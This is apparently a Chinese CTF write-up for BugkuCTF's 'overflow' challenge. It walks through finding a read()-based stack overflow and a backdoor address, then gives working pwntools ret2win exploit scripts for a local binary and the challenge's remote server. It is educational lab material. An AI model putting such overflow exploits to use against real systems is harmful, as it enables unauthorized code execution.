当前位置: 首页 > news >正文

【BugkuCTF】overflow

用file分析是64位的程序

检查保护发现都是关闭的

用IDA分析,可以看到read()函数就是问题点

IDA分析时常出现的问题点:

gets(buf)、strcpy(dest,sec)、scanf("%s",buf)、stract(buf,buf2)、read(0,buf,size)

可以看到申请了一个48字节长度的遍历s

但是read却读取了0x100(256)字节,明显的栈溢出

从IDA分析可以看到距离rbp长度是30

也找到了后门函数

因此得到后门地址

0x400751

exp如下


from pwn import *io = process("./pwn2")get_shell_addr = 0x400751payload = b"A"*(0x30+0x8)+p64(get_shell_addr)    # 因为是64位的程序,ebp长度为8,同时后门地址要用p64转换io.sendline(payload)
io.interactive()

那么打靶场的地址获取flag

from pwn import *io = remote("117.72.52.127","11758")get_shell_addr = 0x400751payload = b"A"*(0x30+0x8)+p64(get_shell_addr)io.sendline(payload)
io.interactive()

相关文章:

  • 为什么python处理csv文件将某个值替换成另一个值并另存后,csv文件的大小减小了一半
  • 视觉疲劳检测如何优化智能驾驶的险情管理
  • 基于STM32设计的扫地机器人
  • 双向循环链表及实现
  • 数学术语之源——(矩阵或行列式的)秩数(rank)
  • 机器学习1——贝叶斯理论上
  • GPU 性能可变性分析框架
  • 60 python asyncio模块(异步IO)
  • CANdela/Diva系列10--CDD文件在CANoe工程的应用2
  • LeetCode 312 戳气球题解(Swift)+ 区间 DP 原理详解 + 可运行代码
  • 高斯过程动态规划(GPDP)
  • FLUX.1 Kontext(Dev 版)训练lora基础教程
  • 将listener转换为事件流
  • 系统思考:结构影响行为
  • VS2022配置x86/x64调用32位和64位汇编语言动态库环境
  • 【C/C++】C++26新特性前瞻:全面解析未来编程
  • 【k近邻】 K-Nearest Neighbors算法原理及流程
  • 双指针技巧深度解析
  • 新一代python的包管理软件mamba
  • 详解HashMap底层原理